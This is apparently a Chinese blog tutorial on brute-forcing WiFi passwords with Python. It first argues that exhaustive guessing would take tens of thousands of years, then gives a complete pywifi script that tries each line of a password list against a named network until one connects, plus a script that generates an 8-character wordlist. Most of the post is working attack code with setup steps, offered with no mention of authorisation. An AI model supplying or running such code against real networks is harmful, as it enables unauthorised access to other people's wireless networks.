python暴力破解WiFi密码

python暴力破解WiFi密码

1、我认为暴力破解不靠谱

为什么?

  1. 只有数字和小写字母组成的,8位不重复密码的可能性有多少种:

    • 计算有多少种:36 x 35 x 34 x 33 x 32 x 31 x 30 x 29 = 1_2200_9690_8800种
  2. 连接测试一次密码的时间:需要0~1秒

  3. 按照1秒的时间计算,测试完 1_2200_9690_8800 种密码需要的时间:

    • 计算测试所需时间:1_2200_9690_8800 ÷ 60 ÷ 60 ÷ 24 ÷ 365 = 3_8689.01917808219 大约 3.9万年

如果你仍然想破解WiFi密码

  1. 你可以在网上搜索找到WiFi常用密码进行测试

  2. 或者你觉得你的运气好能很快找到正确密码,你可以试试暴力破解WiFi密码

2、准备工作

1、软件准备,安装python

  1. 应用商店搜索python并安装

    image-20221014215246410

  2. 我的安装目录:D:\Program Files\python3

  3. 管理员方式打开cmd

    1. 切换到安装目录D:\Program Files\python3下的Scripts目录

    2. 安装pywifi:pip install pywifi

    3. 安装comtypes:pip install comtypes

image-20221014215254516

2、编写代码

  • 在桌面新建一个文件

    image-20221014223721637

    • 如果你新建的文件没有后缀名.txt,请进行如下设置

      image-20221014230322142

  • 打开刚刚新建的文件,下面代码写入文件,保存

    # coding:utf-8
    import pywifi
    from pywifi import const
    import time
    import datetime
    
    #测试连接,返回链接结果
    def wifiConnect(pwd):
        #抓取网卡接口
        wifi=pywifi.PyWiFi()
        #获取第一个无线网卡
        ifaces=wifi.interfaces()[0]
        #断开所有连接
        ifaces.disconnect()
        time.sleep(1)
        wifistatus=ifaces.status()
        if wifistatus ==const.IFACE_DISCONNECTED:
            #创建WiFi连接文件
            profile=pywifi.Profile()
            #要连接WiFi的名称
            profile.ssid="TP-LINK_1301"
            
            #网卡的开放状态
            profile.auth=const.AUTH_ALG_OPEN
            #wifi加密算法,一般wifi加密算法为wps
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            #加密单元
            profile.cipher=const.CIPHER_TYPE_CCMP
            #调用密码
            profile.key=pwd
            #删除所有连接过的wifi文件
            ifaces.remove_all_network_profiles()
            #设定新的连接文件
            tep_profile=ifaces.add_network_profile(profile)
            ifaces.connect(tep_profile)
            #wifi连接时间
            time.sleep(1)
            if ifaces.status()==const.IFACE_CONNECTED:
                return True
            else:
                return False
        else:
            print("已有wifi连接") 
     
    #读取密码本
    def readPassword():
        print("开始破解:")
        #密码本路径
        path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt"
    #打开文件
        file=open(path,"r")
        while True:
            try:
                #一行一行读取
                pad=file.readline()
                bool=wifiConnect(pad)
                
                if bool:
                    print("密码已破解: ",pad)
                    print("WiFi已自动连接!!!")
                    break
                #else:
                    #跳出当前循环,进行下一次循环
                    #print("密码破解中....密码校对: ",pad)
            except:
                continue
     
    start=datetime.datetime.now() 
    readPassword()
    end=datetime.datetime.now()
    print("破解WIFI密码一共用了多长时间:{}".format(end-start))
    
  • 将刚刚建的文件,重命名为:WiFi密码的破解代码.py(xxx.py均可)

    image-20221014223655280

3、展示测试结果

必备文件:

image-20221014232541253

测试
  1. 打开python软件

    image-20221014220205615

  2. 打开代码:

    • File→Open→破解WiFi密码.PY(找到破解代码)→打开
  3. 测试运行

    • 修改:WiFi名密码本路径

      image-20221014231058629

    • 测试:Run→Run Module

4、生成密码本(建议自己找一个密码本)

  • 如果有密码本就不需要这个步骤
  1. 代码(密码中有重复的数字和字母)

    1. 修改:密码组成元素密码保存路径

    image-20221015080609311

    1. 注意这个密码本生成需要很长时间,建议不要这样生成密码本
    import itertools as its
    import datetime
     
    #记录程序运行时间
    start=datetime.datetime.now()
    
    words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便
    # 生成密码的位数
    r = its.product(words,repeat=8)#密码位数为9
    dic =open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a')
    for i in r:
        dic.write(''.join(i))
        dic.write(''.join('\n'))
        print(i)
    
    dic.close()
    print('密码本生成好了')
    end=datetime.datetime.now()
    print("生成密码本一共用了多长时间:{}".format(end-start))
    
  2. 运行步骤和前面破解WiFi密码相同不再讲解。

posted @ 2022-10-15 08:19  糖果~  阅读(5706)  评论(0编辑  收藏  举报
目录

菜单

展开
深色
fff